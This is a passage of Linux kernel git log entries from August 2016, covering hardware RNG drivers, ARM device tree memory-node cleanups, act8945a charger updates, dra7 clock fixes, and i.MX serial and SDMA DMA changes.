3 insertions(+), 3 deletions(-) commit 6020721320c67331b1c4602adfbb8fc7398986ab Author: Corentin LABBE Date: Fri Aug 26 13:11:29 2016 +0200 hwrng: amd - Fix style problem with blank line Some blank line are unncessary, and one is missing after declaration. This patch fix thoses style problems. Signed-off-by: LABBE Corentin Signed-off-by: Herbert Xu drivers/char/hw_random/amd-rng.c | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) commit 1ac6b731b81cbbd2b6da389949f65f2d1e453d69 Author: Baoyou Xie Date: Fri Aug 26 17:56:24 2016 +0800 crypto: caam - add missing header dependencies We get 1 warning when biuld kernel with W=1: drivers/crypto/caam/ctrl.c:398:5: warning: no previous prototype for 'caam_get_era' [-Wmissing-prototypes] In fact, this function is declared in drivers/crypto/caam/ctrl.h, so this patch add missing header dependencies. Signed-off-by: Baoyou Xie Signed-off-by: Herbert Xu drivers/crypto/caam/ctrl.c | 1 + 1 file changed, 1 insertion(+) commit cc2f1908c6b8f6257b7da9124ce6d859c13cba3b Author: Omer Khaliq Date: Tue Aug 23 16:27:15 2016 -0700 hwrng: cavium - Add Cavium HWRNG driver for ThunderX SoC. The Cavium ThunderX SoC has a hardware random number generator. This driver provides support using the HWRNG framework. Signed-off-by: Omer Khaliq Signed-off-by: Ananth Jasty Acked-by: David Daney Signed-off-by: Herbert Xu drivers/char/hw_random/Kconfig | 13 +++++ drivers/char/hw_random/Makefile | 1 + drivers/char/hw_random/cavium-rng-vf.c | 99 ++++++++++++++++++++++++++++++++++ drivers/char/hw_random/cavium-rng.c | 94 ++++++++++++++++++++++++++++++++ 4 files changed, 207 insertions(+) commit 21b5b8eebbae427d7d890b7dd1e43a63aca7c26c Author: Ananth Jasty Date: Tue Aug 23 16:27:14 2016 -0700 PCI: quirk fixup for cavium invalid sriov link value. Cavium cn88xx hardware presents an incorrect SR-IOV Function Dependency Link, add a fixup quirk for the affected devices. Acked-by: David Daney Signed-off-by: Ananth Jasty Signed-off-by: Omer Khaliq Acked-by: Bjorn Helgaas Signed-off-by: Herbert Xu drivers/pci/quirks.c | 11 +++++++++++ 1 file changed, 11 insertions(+) commit 30953650801a8c83fc96acdc032e0a0dbb018b07 Author: Wenyou Yang Date: Thu Aug 25 15:40:26 2016 +0800 doc: bindings: power: act8945a-charger: Update properties. Due the driver improvements, update the properties, - Remove "active-semi,check-battery-temperature" property. - Add the properties, "active-semi,irq_gpio" and "active-semi,lbo-gpios". - As act8945a-charger is regarded as a sub-device, update the compatible and examples. Signed-off-by: Wenyou Yang Acked-by: Rob Herring Signed-off-by: Sebastian Reichel .../bindings/power/supply/act8945a-charger.txt | 31 +++++++++++++++------- 1 file changed, 22 insertions(+), 9 deletions(-) commit 10ca08b07bc572ff39bd95148085994e9958b10b Author: Wenyou Yang Date: Thu Aug 25 15:19:54 2016 +0800 power: supply: act8945a_charger: Fix the power supply type The power supply type property is varying as the external power supply changes. It is not a constant. Signed-off-by: Wenyou Yang Signed-off-by: Sebastian Reichel drivers/power/supply/act8945a_charger.c | 48 ++++++++++++++++++++++++++------- 1 file changed, 39 insertions(+), 9 deletions(-) commit a09209acd6a808794bdd7866af3678d1fd1d90e7 Author: Wenyou Yang Date: Thu Aug 25 15:19:53 2016 +0800 power: supply: act8945a_charger: Add status change update support Add the charger status change interrupt support, it will report the power supply changed event. This interrupt is generated by one of the conditions as below: - the state machine jumps out of or into the EOC state - the CHGIN input voltage goes out of or into the valid range. - the battery temperature goes out of or into the valid range. - the PRECHARGE time-out occurs. - the total charge time-out occurs. Signed-off-by: Wenyou Yang Signed-off-by: Sebastian Reichel drivers/power/supply/act8945a_charger.c | 95 ++++++++++++++++++++++++++++++--- 1 file changed, 88 insertions(+), 7 deletions(-) commit 1f0ba4067af4bda55b7304e74fc20a245912b728 Author: Wenyou Yang Date: Thu Aug 25 15:19:52 2016 +0800 power: supply: act8945a_charger: Improve state handling When get the property, first check the charger state machine, then check the status bit to decide what value is assigned to the corresponding property. Retain the SUSCHG bit of REG 0x71 when configure the timers to avoid losting the charger suspending info after boot. Signed-off-by: Wenyou Yang Signed-off-by: Fengguang Wu Signed-off-by: Sebastian Reichel drivers/power/supply/act8945a_charger.c | 86 +++++++++++++++++++++++++++------ 1 file changed, 70 insertions(+), 16 deletions(-) commit 6b021fc91038201ed44e99ae32b6a93c6e8be1f4 Author: Wenyou Yang Date: Thu Aug 25 15:19:51 2016 +0800 power: supply: act8945a_charger: Remove "battery_temperature" Remove "battery_temperature" member, it is redundant, it is the hardware's responsibility to handle TH pin properly. It is unnecessary to use the dt property to check if there is a battery temperature monitor or not. Signed-off-by: Wenyou Yang Signed-off-by: Sebastian Reichel drivers/power/supply/act8945a_charger.c | 12 +++--------- 1 file changed, 3 insertions(+), 9 deletions(-) commit 5da643b26d280e1b061e18b92bc7d5709ee8034e Author: Wenyou Yang Date: Thu Aug 25 15:19:50 2016 +0800 power: supply: act8945a_charger: Achieve properties from its node Since the act8945a_charger is regarded as a sub-device, all properties will be assigned to its own device node. All properties can be achieved from its own node, instead of from its parent device. Signed-off-by: Wenyou Yang Signed-off-by: Sebastian Reichel drivers/power/supply/act8945a_charger.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 5c4d9f0d49b0c3beda734687248fc74542566ee9 Author: Javier Martinez Canillas Date: Wed Aug 31 12:35:37 2016 +0200 ARM: dts: dra7: Add missing unit name to memory nodes This patch fixes the following DTC warnings: "Node /memory has a reg or ranges property, but no unit name" Signed-off-by: Javier Martinez Canillas Signed-off-by: Tony Lindgren arch/arm/boot/dts/dra7-evm.dts | 2 +- arch/arm/boot/dts/dra72-evm-revc.dts | 2 +- arch/arm/boot/dts/dra72-evm.dts | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) commit 387117c1272746266ca97844ac106b04ac3500e3 Author: Javier Martinez Canillas Date: Wed Aug 31 12:35:36 2016 +0200 ARM: dts: dra62x: Add missing unit name to memory nodes This patch fixes the following DTC warnings: "Node /memory has a reg or ranges property, but no unit name" Signed-off-by: Javier Martinez Canillas Signed-off-by: Tony Lindgren arch/arm/boot/dts/dra62x-j5eco-evm.dts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit f193a5ab3c1bdd539058c892cd495662f7b984a3 Author: Javier Martinez Canillas Date: Wed Aug 31 12:35:35 2016 +0200 ARM: dts: dm8168: Add missing unit name to memory nodes This patch fixes the following DTC warnings: "Node /memory has a reg or ranges property, but no unit name" Signed-off-by: Javier Martinez Canillas Signed-off-by: Tony Lindgren arch/arm/boot/dts/dm8168-evm.dts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit c5ee1b486fc1f5ce6cbbf718b630ea6dfa3bec5d Author: Javier Martinez Canillas Date: Wed Aug 31 12:35:34 2016 +0200 ARM: dts: dm8148: Add missing unit name to memory nodes This patch fixes the following DTC warnings: "Node /memory has a reg or ranges property, but no unit name" Signed-off-by: Javier Martinez Canillas Signed-off-by: Tony Lindgren arch/arm/boot/dts/dm8148-evm.dts | 2 +- arch/arm/boot/dts/dm8148-t410.dts | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) commit 0b086802cbed1fa06916d68c3d89f8be3fd6c2ac Author: Javier Martinez Canillas Date: Wed Aug 31 12:35:33 2016 +0200 ARM: dts: am572x: Add missing unit name to memory nodes This patch fixes the following DTC warnings: "Node /memory has a reg or ranges property, but no unit name" Signed-off-by: Javier Martinez Canillas Signed-off-by: Tony Lindgren arch/arm/boot/dts/am572x-idk.dts | 2 +- arch/arm/boot/dts/am57xx-beagle-x15.dts | 2 +- arch/arm/boot/dts/am57xx-cl-som-am57x.dts | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) commit 9194cf4daa93652a5ebdf410e91708169c5bb04f Author: Javier Martinez Canillas Date: Wed Aug 31 12:35:32 2016 +0200 ARM: dts: am4372: Add missing unit name to memory nodes This patch fixes the following DTC warnings: "Node /memory has a reg or ranges property, but no unit name" Signed-off-by: Javier Martinez Canillas Signed-off-by: Tony Lindgren arch/arm/boot/dts/am4372.dtsi | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit a60b9f45cc08f7710b7731ac13bc431b87b1c328 Author: Javier Martinez Canillas Date: Wed Aug 31 12:35:31 2016 +0200 ARM: dts: am3517: Add missing unit name to memory nodes This patch fixes the following DTC warnings: "Node /memory has a reg or ranges property, but no unit name" Signed-off-by: Javier Martinez Canillas Signed-off-by: Tony Lindgren arch/arm/boot/dts/am3517-craneboard.dts | 2 +- arch/arm/boot/dts/am3517-evm.dts | 2 +- arch/arm/boot/dts/am3517_mt_ventoux.dts | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) commit 278cb79cc113a56467b93244ac3812bc049eb20a Author: Javier Martinez Canillas Date: Wed Aug 31 12:35:30 2016 +0200 ARM: dts: am335x: Add missing unit name to memory nodes This patch fixes the following DTC warnings: "Node /memory has a reg or ranges property, but no unit name" Signed-off-by: Javier Martinez Canillas Signed-off-by: Tony Lindgren arch/arm/boot/dts/am335x-baltos.dtsi | 2 +- arch/arm/boot/dts/am335x-bone-common.dtsi | 2 +- arch/arm/boot/dts/am335x-chilisom.dtsi | 2 +- arch/arm/boot/dts/am335x-cm-t335.dts | 2 +- arch/arm/boot/dts/am335x-evm.dts | 2 +- arch/arm/boot/dts/am335x-evmsk.dts | 2 +- arch/arm/boot/dts/am335x-icev2.dts | 2 +- arch/arm/boot/dts/am335x-igep0033.dtsi | 2 +- arch/arm/boot/dts/am335x-lxm.dts | 2 +- arch/arm/boot/dts/am335x-nano.dts | 2 +- arch/arm/boot/dts/am335x-pepper.dts | 2 +- arch/arm/boot/dts/am335x-phycore-som.dtsi | 2 +- arch/arm/boot/dts/am335x-shc.dts | 2 +- arch/arm/boot/dts/am335x-sl50.dts | 2 +- 14 files changed, 14 insertions(+), 14 deletions(-) commit bfa130bbacda4f3418aa4898c81f9013319ee3b7 Author: Javier Martinez Canillas Date: Wed Aug 31 12:35:29 2016 +0200 ARM: dts: omap5: Add missing unit name to memory nodes This patch fixes the following DTC warnings: "Node /memory has a reg or ranges property, but no unit name" Signed-off-by: Javier Martinez Canillas Signed-off-by: Tony Lindgren arch/arm/boot/dts/omap5-cm-t54.dts | 2 +- arch/arm/boot/dts/omap5-igep0050.dts | 2 +- arch/arm/boot/dts/omap5-uevm.dts | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) commit 742ae1f945c14dfb3de73484e30a33ee1122ecda Author: Javier Martinez Canillas Date: Wed Aug 31 12:35:28 2016 +0200 ARM: dts: omap4: Add missing unit name to memory nodes This patch fixes the following DTC warnings: "Node /memory has a reg or ranges property, but no unit name" Signed-off-by: Javier Martinez Canillas Signed-off-by: Tony Lindgren arch/arm/boot/dts/omap4-duovero.dtsi | 2 +- arch/arm/boot/dts/omap4-kc1.dts | 2 +- arch/arm/boot/dts/omap4-panda-common.dtsi | 2 +- arch/arm/boot/dts/omap4-sdp.dts | 2 +- arch/arm/boot/dts/omap4-var-som-om44.dtsi | 2 +- 5 files changed, 5 insertions(+), 5 deletions(-) commit 81777ff9dde770d585e9c50c76218211ad157dca Author: Javier Martinez Canillas Date: Wed Aug 31 12:35:27 2016 +0200 ARM: dts: omap3: Add missing unit name to memory nodes This patch fixes the following DTC warnings: "Node /memory has a reg or ranges property, but no unit name" Signed-off-by: Javier Martinez Canillas Signed-off-by: Tony Lindgren arch/arm/boot/dts/logicpd-torpedo-som.dtsi | 2 +- arch/arm/boot/dts/omap3-beagle-xm.dts | 2 +- arch/arm/boot/dts/omap3-beagle.dts | 2 +- arch/arm/boot/dts/omap3-cm-t3x.dtsi | 2 +- arch/arm/boot/dts/omap3-devkit8000-common.dtsi | 2 +- arch/arm/boot/dts/omap3-evm-37xx.dts | 2 +- arch/arm/boot/dts/omap3-evm.dts | 2 +- arch/arm/boot/dts/omap3-gta04.dtsi | 2 +- arch/arm/boot/dts/omap3-igep.dtsi | 2 +- arch/arm/boot/dts/omap3-ldp.dts | 2 +- arch/arm/boot/dts/omap3-lilly-a83x.dtsi | 2 +- arch/arm/boot/dts/omap3-n900.dts | 2 +- arch/arm/boot/dts/omap3-n950-n9.dtsi | 2 +- arch/arm/boot/dts/omap3-overo-base.dtsi | 2 +- arch/arm/boot/dts/omap3-pandora-common.dtsi | 2 +- arch/arm/boot/dts/omap3-sniper.dts | 2 +- arch/arm/boot/dts/omap3-tao3530.dtsi | 2 +- arch/arm/boot/dts/omap3-zoom3.dts | 2 +- arch/arm/boot/dts/omap3430-sdp.dts | 2 +- 19 files changed, 19 insertions(+), 19 deletions(-) commit 101ace8d1336ce95a596adf1a11f12226979ff9f Author: Javier Martinez Canillas Date: Wed Aug 31 12:35:26 2016 +0200 ARM: dts: omap2: Add missing unit name to memory nodes This patch fixes the following DTC warnings: "Node /memory has a reg or ranges property, but no unit name" Signed-off-by: Javier Martinez Canillas Signed-off-by: Tony Lindgren arch/arm/boot/dts/omap2420-h4.dts | 2 +- arch/arm/boot/dts/omap2420-n8x0-common.dtsi | 2 +- arch/arm/boot/dts/omap2430-sdp.dts | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) commit 75813028bbd7caed9382dd45e3f4bb1de38b9002 Author: Javier Martinez Canillas Date: Wed Aug 31 12:35:25 2016 +0200 ARM: dts: am4372: Remove skeleton.dtsi usage The skeleton.dtsi file was removed in ARM64 for different reasons as explained in commit ("3ebee5a2e141 arm64: dts: kill skeleton.dtsi"). These also applies to ARM and it will also allow to get rid of the following DTC warnings in the future: "Node /memory has a reg or ranges property, but no unit name" The disassembled DTB are almost the same besides an empty chosen node being removed and nodes reordered, so it shouldn't have functional changes. Since no am4372 based board had a memory node defined, a dummy node is added so the compiled DTB memory node is the same than before. Signed-off-by: Javier Martinez Canillas Signed-off-by: Tony Lindgren arch/arm/boot/dts/am4372.dtsi | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) commit 55871eb6e2ccde1a18e043ad5cadd683f04387d9 Author: Javier Martinez Canillas Date: Wed Aug 31 12:35:24 2016 +0200 ARM: dts: dra7: Remove skeleton.dtsi usage The skeleton.dtsi file was removed in ARM64 for different reasons as explained in commit ("3ebee5a2e141 arm64: dts: kill skeleton.dtsi"). These also applies to ARM and it will also allow to get rid of the following DTC warnings in the future: "Node /memory has a reg or ranges property, but no unit name" The disassembled DTB are almost the same besides an empty chosen node being removed and nodes reordered, so it should not have functional changes. Signed-off-by: Javier Martinez Canillas Signed-off-by: Tony Lindgren arch/arm/boot/dts/dra7.dtsi | 2 -- 1 file changed, 2 deletions(-) commit 06bfb9c19957e0b8be0ffc32107d96624a5549ba Author: Javier Martinez Canillas Date: Wed Aug 31 12:35:23 2016 +0200 ARM: dts: dm816x: Remove skeleton.dtsi usage The skeleton.dtsi file was removed in ARM64 for different reasons as explained in commit ("3ebee5a2e141 arm64: dts: kill skeleton.dtsi"). These also applies to ARM and it will also allow to get rid of the following DTC warnings in the future: "Node /memory has a reg or ranges property, but no unit name" The disassembled DTB are almost the same besides an empty chosen node being removed and nodes reordered, so it should not have functional changes. Signed-off-by: Javier Martinez Canillas Signed-off-by: Tony Lindgren arch/arm/boot/dts/dm816x.dtsi | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 76155b378c5908c28ba4d4b8b8e97f4ee46da5a2 Author: Javier Martinez Canillas Date: Wed Aug 31 12:35:22 2016 +0200 ARM: dts: dm814x: Remove skeleton.dtsi usage The skeleton.dtsi file was removed in ARM64 for different reasons as explained in commit ("3ebee5a2e141 arm64: dts: kill skeleton.dtsi"). These also applies to ARM and it will also allow to get rid of the following DTC warnings in the future: "Node /memory has a reg or ranges property, but no unit name" The disassembled DTB are almost the same besides an empty chosen node being removed and nodes reordered, so it should not have functional changes. Signed-off-by: Javier Martinez Canillas Signed-off-by: Tony Lindgren arch/arm/boot/dts/dm814x.dtsi | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit f8bf01611c99532c509b8c2ddc72ba7d014f6996 Author: Javier Martinez Canillas Date: Wed Aug 31 12:35:21 2016 +0200 ARM: dts: am33xx: Remove skeleton.dtsi usage The skeleton.dtsi file was removed in ARM64 for different reasons as explained in commit ("3ebee5a2e141 arm64: dts: kill skeleton.dtsi"). These also applies to ARM and it will also allow to get rid of the following DTC warnings in the future: "Node /memory has a reg or ranges property, but no unit name" The disassembled DTB are almost the same besides an empty chosen node being removed and nodes reordered, so it should not have functional changes. Signed-off-by: Javier Martinez Canillas Signed-off-by: Tony Lindgren arch/arm/boot/dts/am33xx.dtsi | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 76a8548ea987708117705d061b150306df993a32 Author: Javier Martinez Canillas Date: Wed Aug 31 12:35:20 2016 +0200 ARM: dts: omap5: Remove skeleton.dtsi usage The skeleton.dtsi file was removed in ARM64 for different reasons as explained in commit ("3ebee5a2e141 arm64: dts: kill skeleton.dtsi"). These also applies to ARM and it will also allow to get rid of the following DTC warnings in the future: "Node /memory has a reg or ranges property, but no unit name" The disassembled DTB are almost the same besides an empty chosen node being removed and nodes reordered, so it should not have functional changes. Signed-off-by: Javier Martinez Canillas Signed-off-by: Tony Lindgren arch/arm/boot/dts/omap5.dtsi | 2 -- 1 file changed, 2 deletions(-) commit da6269e7e3dd98c435d3f9124f858bb48969e306 Author: Javier Martinez Canillas Date: Wed Aug 31 12:35:19 2016 +0200 ARM: dts: omap4: Remove skeleton.dtsi usage The skeleton.dtsi file was removed in ARM64 for different reasons as explained in commit ("3ebee5a2e141 arm64: dts: kill skeleton.dtsi"). These also applies to ARM and it will also allow to get rid of the following DTC warnings in the future: "Node /memory has a reg or ranges property, but no unit name" The disassembled DTB are almost the same besides an empty chosen node being removed and nodes reordered, so it should not have functional changes. Signed-off-by: Javier Martinez Canillas Signed-off-by: Tony Lindgren arch/arm/boot/dts/omap4.dtsi | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 008a2ebcd677ec8039bb38b9f50b351a75244d90 Author: Javier Martinez Canillas Date: Wed Aug 31 12:35:18 2016 +0200 ARM: dts: omap3: Remove skeleton.dtsi usage The skeleton.dtsi file was removed in ARM64 for different reasons as explained in commit ("3ebee5a2e141 arm64: dts: kill skeleton.dtsi"). These also applies to ARM and it will also allow to get rid of the following DTC warnings in the future: "Node /memory has a reg or ranges property, but no unit name" The disassembled DTB are almost the same besides an empty chosen node being removed and nodes reordered, so it should not have functional changes. Signed-off-by: Javier Martinez Canillas Signed-off-by: Tony Lindgren arch/arm/boot/dts/omap3.dtsi | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit d1f3156fc8c77fb08ef616b115634cba7f9b8a29 Author: Javier Martinez Canillas Date: Wed Aug 31 12:35:17 2016 +0200 ARM: dts: omap2: Remove skeleton.dtsi usage The skeleton.dtsi file was removed in ARM64 for different reasons as explained in commit ("3ebee5a2e141 arm64: dts: kill skeleton.dtsi"). These also applies to ARM and it will also allow to get rid of the following DTC warnings in the future: "Node /memory has a reg or ranges property, but no unit name" The disassembled DTB are almost the same besides an empty chosen node being removed and nodes reordered, so it should not have functional changes. Signed-off-by: Javier Martinez Canillas Signed-off-by: Tony Lindgren arch/arm/boot/dts/omap2.dtsi | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 766a1fe78fc3e4c0cc688340ff319b3b0863fb03 Author: Javier Martinez Canillas Date: Wed Aug 31 12:35:16 2016 +0200 ARM: omap3: Add missing memory node in overo and torpedo boards The skeleton.dtsi file was removed in ARM64 for different reasons as explained in commit ("3ebee5a2e141 arm64: dts: kill skeleton.dtsi"). These also applies to ARM and it will also allow to get rid of the following DTC warnings in the future: "Node /memory has a reg or ranges property, but no unit name" But these boards don't have a memory node defined, so removing the skeleton.dtsi inclusion from omap3.dtsi will cause a change in the compiled DTB. Add a dummy memory node so the compiled DTB doesn't change if the skeleton.dtsi is removed from omap3.dtsi. Eventually the correct starting addresses and sizes should be used but I didn't find that information. Signed-off-by: Javier Martinez Canillas Signed-off-by: Tony Lindgren arch/arm/boot/dts/logicpd-torpedo-som.dtsi | 5 +++++ arch/arm/boot/dts/omap3-overo-base.dtsi | 6 ++++++ 2 files changed, 11 insertions(+) commit 35852c68b2b216845da4f303c0b8c39547022f89 Author: Javier Martinez Canillas Date: Wed Aug 31 12:35:15 2016 +0200 ARM: am335x: Add missing memory node in sl50 board The skeleton.dtsi file was removed in ARM64 for different reasons as explained in commit ("3ebee5a2e141 arm64: dts: kill skeleton.dtsi"). These also applies to ARM and it will also allow to get rid of the following DTC warnings in the future: "Node /memory has a reg or ranges property, but no unit name" But the sl50 board doesn't have a, so removing the skeleton.dtsi inclusion from am33xx.dtsi will cause a change in the compiled DTB. The board has 512 MiB of RAM and its starting address is 0x80000000, so add a proper memory device node in the DTS. Signed-off-by: Javier Martinez Canillas Signed-off-by: Tony Lindgren arch/arm/boot/dts/am335x-sl50.dts | 5 +++++ 1 file changed, 5 insertions(+) commit c097338ebd3f7a0920dbe1a5d9bf276207f7b024 Author: Grygorii Strashko Date: Tue Aug 30 17:58:01 2016 +0300 ARM: dts: dra7: cpsw: fix clocks tree Current clocks tree definition for CPSW/CPTS doesn't correspond TRM for dra7/am57 SoCs. CPTS: has to be sourced from gmac_rft_clk_mux clock CPSW: DPLL_GMAC -> CLKOUT_M2 -> GMAC_250M_CLK -> 1/2 -> -> GMAC_MAIN_CLK (125 MHZ) Hence, correct clock tree for GMAC_MAIN_CLK and use proper clock for CPTS. This also require updating of CPTS clock multiplier. Signed-off-by: Grygorii Strashko Reviewed-by: Mugunthan V N Acked-by: Tero Kristo Signed-off-by: Tony Lindgren arch/arm/boot/dts/dra7.dtsi | 4 ++-- arch/arm/boot/dts/dra7xx-clocks.dtsi | 16 ++++++++-------- 2 files changed, 10 insertions(+), 10 deletions(-) commit dbb9c1963285d5d1d3a8c12ad72ddacbd46fc845 Author: J.D. Schroeder Date: Tue Aug 30 17:58:00 2016 +0300 ARM: dts: dra7: Fix clock data for gmac_gmii_ref_clk_div This commit fixes the clock data inside the DRA7xx clocks device tree structure for the gmac_gmii_ref_clk_div clock. This clock is actually the GMAC_MAIN_CLK and has nothing to do with the register at address 0x4a0093d0. If CLKSEL_REF bit 24 inside of CM_GMAC_GMAC_CLKCTRL, is set to 1 in order to use the GMAC_RMII_CLK instead of the GMAC_RMII_HS_CLK, the kernel generates a clock divider warning: WARNING: CPU: 0 PID: 0 at drivers/clk/clk-divider.c:129 clk_divider_recalc_rate+0xa8/0xe0() gmac_gmii_ref_clk_div: Zero divisor and CLK_DIVIDER_ALLOW_ZERO not set By properly configuring the gmac_gmii_ref_clk_div (GMAC_MAIN_CLK) to have the parent of dpll_gmac_m2_ck always divided by 2 the warning is resolved and the clock tree is fixed up. Additionally, a new clock called rmii_50mhz_clk_mux is defined that does utilize CM_GMAC_GMAC_CLKCTRL[24] CLKSEL_REF to configure the source clock for the RMII_50MHZ_CLK. Cc: Lokesh Vutla Signed-off-by: J.D. Schroeder Reviewed-by: Trenton Andres Signed-off-by: Grygorii Strashko Acked-by: Tero Kristo Signed-off-by: Tony Lindgren arch/arm/boot/dts/dra7xx-clocks.dtsi | 15 +++++++++++---- 1 file changed, 11 insertions(+), 4 deletions(-) commit 41d98b5da92f8b7bd11885e7c4797197b5f3e2c3 Author: Nandor Han Date: Mon Aug 8 15:38:28 2016 +0300 serial: imx-serial - update RX error counters when DMA is used Update error counters when DMA is used for receiving data. Do this by using DMA transaction error event instead error interrupts to reduce interrupt load. Tested-by: Peter Senna Tschudin Acked-by: Peter Senna Tschudin Signed-off-by: Nandor Han Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/imx.c | 32 ++++++++++++++++++++++++++++++++ 1 file changed, 32 insertions(+) commit 9d297239b8cbf276b1b3bc6cbde5c0dd9ca79a61 Author: Nandor Han Date: Mon Aug 8 15:38:27 2016 +0300 serial: imx-serial - update UART IMX driver to use cyclic DMA The IMX UART has a 32 bytes HW buffer which can be filled up in 2777us at 115200 baud or 80us at 4Mbaud (supported by IMX53). Taking this in consideration there is a good probability to lose data because of the DMA startup latency. Our tests (explained below) indicates a latency up to 4400us when creating interrupt load and ~70us without. When creating interrupt load I was able to see continuous overrun errors by checking serial driver statistics using the command: `cat /proc/tty/driver/IMX-uart`. Replace manual restart of DMA with cyclic DMA to eliminate data loss due to DMA engine startup latency (similar approch to atmel_serial.c driver). As result the DMA engine will start on the first serial data transfer and stops only when serial port is closed. Tests environment: Using the m53evk board I have used a GPIO for profiling the IMX serial driver. - The RX line and GPIO were connected to oscilloscope. - Run a small test program on the m53evk board that will only open and read data from ttymxc2 port. - Connect the ttymxc2 port to my laptop using a USB serial converter where another test program is running, able to send configurable packet lengths and intervals. - Serial ports configured at 115200 8N1. - Interrupts load created by disconnecting/connecting (3s interval) a USB hub, using a digital switch, with 4 USB devices (USB-Serial converter, USB SD card, etc) connected. (around 160 interrupts/second generated) - The GPIO was toggled HI in the `imx_int` when USR1_RRDY or USR1_AGTIM events are received and toggled back, once the DMA configuration is finalized, at the end of `imx_dma_rxint`. Measurements: The measurements were done from the end of the last byte (RX line) until the GPIO was toggled back LOW. Note: The GPIO toggling was done using `gpiod_set_value` method. Tests performed: 1. Sending 9 bytes packets at 8ms interval. Having the 9 bytes packets will activate the RRDY threshold event and IMX serial interrupt called. Results: - DMA start latency (interrupt start latency + DMA configuration) consistently 70us when system not loaded. - DMA start latency up to 4400us when system loaded. 2. Sending 40 bytes packet at 8mS interval. Results with load: - Able to observe overruns by running: `watch -n1 cat /proc/tty/driver/IMX-uart` Tested-by: Peter Senna Tschudin Acked-by: Peter Senna Tschudin Signed-off-by: Nandor Han Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/imx.c | 141 ++++++++++++++++++++++++++--------------------- 1 file changed, 78 insertions(+), 63 deletions(-) commit 5881826ded79cf3c3314ee2d84c3bfa94e111b42 Author: Nandor Han Date: Mon Aug 8 15:38:26 2016 +0300 dmaengine: imx-sdma - update the residue calculation for cyclic channels The calculation of the DMA transaction residue supports only fixed size data transfers. This implementation is not covering all operations (e.g. data receiving) when we need to know the exact amount of bytes transferred. The loop channels handling was changed to clear the buffer descriptor errors and use the bd->mode.count to calculate the residue. Tested-by: Peter Senna Tschudin Acked-by: Peter Senna Tschudin Reviewed-by: Vinod Koul Signed-off-by: Nandor Han Signed-off-by: Greg Kroah-Hartman drivers/dma/imx-sdma.c | 20 ++++++++++++++++++-- 1 file changed, 18 insertions(+), 2 deletions(-) commit 15f30f513111528c5b0c6185b2bfb7b1a58a6499 Author: Nandor Han Date: Mon Aug 8 15:38:25 2016 +0300 dmaengine: imx-sdma - reduce transfer latency for DMA cyclic clients Having the SDMA driver use a tasklet for running the clients callback introduce some issues: - probability to have desynchronized data because of the race condition created since the DMA transaction status is retrieved only when the callback is executed, leaving plenty of time for transaction status to get altered. - inter-transfer latency which can leave channels idle. Move the callback execution, for cyclic channels, to SDMA interrupt (as advised in `Documentation/dmaengine/provider.txt`) to (a)reduce the inter-transfer latency and (b) eliminate the race condition possibility where DMA transaction status might be changed by the time is read. The responsibility of the SDMA interrupt latency is moved to the SDMA clients which case by case should defer the work to bottom-halves when needed. Tested-by: Peter Senna Tschudin Acked-by: Peter Senna Tschudin Reviewed-by: Vinod Koul Signed-off-by: Nandor Han Signed-off-by: Greg Kroah-Hartman drivers/dma/imx-sdma.c | 36 ++++++++++++++++-------------------- 1 file changed, 16 insertions(+), 20 deletions(-) commit 2fe921758f6ebbfd1df73bcf0a9af6a682cef2b5 Author: Sebastian Reichel Date: Wed Aug 17 14:32:38 2016 +0200 MAINTAINERS: Remove power-supply co-maintainers This documents the status quo and keeps everyones cc/to-list a bit shorter. Signed-off-by: Sebastian Reichel CREDITS | 4 ++++ MAINTAINERS | 4 ---- 2 files changed, 4 insertions(+), 4 deletions(-) commit 58db95056759f2d9e4a41cb3d26007561a801135 Author: Sebastian Reichel Date: Wed Aug 17 14:23:05 2016 +0200 MAINTAINERS: update power-supply git-tree When I took over the power-supply tree, its git tree was hosted on git.infradead.org. Since a few kernel releases I also maintain a copy of the repository on git.kernel.org, that is prefered by Linus, so let's switch over officially. Signed-off-By: Sebastian Reichel MAINTAINERS | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit fecdef932b0093b4a7e1ae88b1dbd63eb74ecc34 Author: Andy Shevchenko Date: Wed Aug 17 19:20:30 2016 +0300 serial: 8250_lpss: enable DMA on Intel Quark UART DMA on Intel Quark SoC is a part of UART IP block. Enable it. Signed-off-by: Andy Shevchenko Tested-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/8250/8250_lpss.c | 78 +++++++++++++++++++++++++++++++++++-- 1 file changed, 75 insertions(+), 3 deletions(-) commit 60a9244a5d14218cbdd2030e140e3c693d0c030d Author: Andy Shevchenko Date: Wed Aug 17 19:20:29 2016 +0300 serial: 8250_lpss: enable MSI for Intel Quark Intel Quark SoC supports MSI for LPSS, in particular for UART. Enable MSI for Intel Quark. Signed-off-by: Andy Shevchenko Tested-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/8250/8250_lpss.c | 15 +++++++++++++++ 1 file changed, 15 insertions(+) commit 6bb5d75eac8d6a9ef85b408909d40964eda53716 Author: Andy Shevchenko Date: Wed Aug 17 19:20:28 2016 +0300 serial: 8250_lpss: move Quark code from PCI driver Intel Quark has DesignWare UART. Move the code from 8250_pci to 8250_lpss. Reviewed-by: Bryan O'Donoghue Signed-off-by: Andy Shevchenko Tested-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/8250/8250_lpss.c | 11 +++++++++++ drivers/tty/serial/8250/8250_pci.c | 15 +-------------- 